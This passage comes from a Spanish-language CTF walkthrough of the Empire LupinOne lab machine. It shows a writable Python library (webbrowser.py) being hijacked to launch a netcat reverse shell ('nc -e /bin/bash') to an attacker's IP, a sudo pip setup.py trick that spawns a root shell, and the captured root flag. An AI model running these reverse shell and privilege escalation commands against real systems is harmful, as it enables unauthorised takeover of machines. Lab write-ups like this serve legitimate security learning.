```
import webbrowser

print ("Its not yet ready to get in action")

webbrowser.open("https://empirecybersecurity.co.mz")
```

Estamos viendo que esta importando algo llamado `webbrowser`, lo buscaremos...

```
find / -type f -name "webbrowser.py" 2>/dev/null | xargs ls -l
```

Y encontraremos lo siguiente...

```
-rw-r--r-- 1 icex64 icex64    34 May 28 10:28 /home/icex64/webbrowser.py
-rwxrwxrwx 1 root   root   24087 Oct  4  2021 /usr/lib/python3.9/webbrowser.py
```

Encontramos una hecha por `root` que podemos modificar, haremos lo siguiente dentro de ese archivo...

```
nano /usr/lib/python3.9/webbrowser.py

# Agrega tu código de reverse shell aquí
reverse_shell_command = "nc -e /bin/bash <IP> <PORT>"
os.system(reverse_shell_command)
```

Añadimos ese trozo por alguna parte del codigo de `python`...

```
sudo -u arsene python3.9 /home/arsene/heist.py
```

Estando a la escucha ejecutamos eso...

```
nc -lvnp <PORT>
```

Hecho esto ya seremos el usuario `arsene`...

Sanitizamos la `shell`...

```
script /dev/null -c bash

# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm

# Para ver las dimensiones de nuestra consola en el Host
stty size

# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
```

Si hacemos `sudo -l` con el usuario `arsene` veremos lo siguiente...

```
Matching Defaults entries for arsene on LupinOne:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User arsene may run the following commands on LupinOne:
    (root) NOPASSWD: /usr/bin/pip
```

Por lo que vemos podemos ejecutar `pip` como `root`, por lo que haremos lo siguiente...

```
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" >
$TF/setup.py
sudo pip install $TF
```

Ejecutando esto ya seriamos `root`, leemos la flag...

> root.txt (flag2)

```
*,,,,,,,,,,,,,,,,,,,,,,,,,,,,,(((((((((((((((((((((,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
,                       .&&&&&&&&&(            /&&&&&&&&&
,                    &&&&&&*                          @&&&&&&
,                *&&&&&                                   &&&&&&
,              &&&&&                                         &&&&&.
,            &&&&                   ./#%@@&#,                   &&&&*
,          &%&&          &&&&&&&&&&&**,**/&&(&&&&&&&&             &&&&
,        &@(&        &&&&&&&&&&&&&&&.....,&&*&&&&&&&&&&             &&&&
,      .& &          &&&&&&&&&&&&&&&      &&.&&&&&&&&&&               &%&
,     @& &           &&&&&&&&&&&&&&&      && &&&&&&&&&&                @&&&
,    &%((            &&&&&&&&&&&&&&&      && &&&&&&&&&&                 #&&&
,   &#/*             &&&&&&&&&&&&&&&      && #&&&&&&&&&(                 (&&&
,  %@ &              &&&&&&&&&&&&&&&      && ,&&&&&&&&&&                  /*&/
,  & &               &&&&&&&&&&&&&&&      &&* &&&&&&&&&&                   & &
, & &                &&&&&&&&&&&&&&&,     &&& &&&&&&&&&&(                   &,@
,.& #                #&&&&&&&&&&&&&&(     &&&.&&&&&&&&&&&                   & &
*& &                 ,&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&             &(&
*& &                 ,&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&            & &
*& *              &&&&&&&&&&&&&&&&&&&@.                 &&&&&&&&             @ &
*&              &&&&&&&&&&&&&&&&&&@    &&&&&/          &&&&&&                & &
*% .           &&&&&&&&&&&@&&&&&&&   &  &&(  #&&&&   &&&&.                   % &
*& *            &&&&&&&&&&   /*      @%&%&&&&&&&&    &&&&,                   @ &
*& &               &&&&&&&           & &&&&&&&&&&     @&&&                   & &
*& &                    &&&&&        /   /&&&&         &&&                   & @
*/(,                      &&                            &                   / &.
* & &                     &&&       #             &&&&&&      @             & &.
* .% &                    &&&%&     &    @&&&&&&&&&.   %@&&*               ( @,
/  & %                   .&&&&  &@ @                 &/                    @ &
*   & @                  &&&&&&    &&.               ,                    & &
*    & &               &&&&&&&&&& &    &&&(          &                   & &
,     & %           &&&&&&&&&&&&&&&(       .&&&&&&&  &                  & &
,      & .. &&&&&&&&&&&&&&&&&&&&&&&&&&&&*          &  &                & &
,       #& & &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&        &.             %  &
,         &  , &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&.     &&&&          @ &*
,           & ,, &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&.  /&&&&&&&&    & &@
,             &  & #&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&  &&&&&&&@ &. &&
,               && /# /&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&# &&&# &# #&
,                  &&  &( .&&&&&&&&&&&&&&&&&&&&&&&&&&&  &&  &&
/                     ,&&(  &&%   *&&&&&&&&&&%   .&&&  /&&,
,                           &&&&&/...         .#&&&&#

3mp!r3{congratulations_you_manage_to_pwn_the_lupin1_box}
See you on the next heist.
```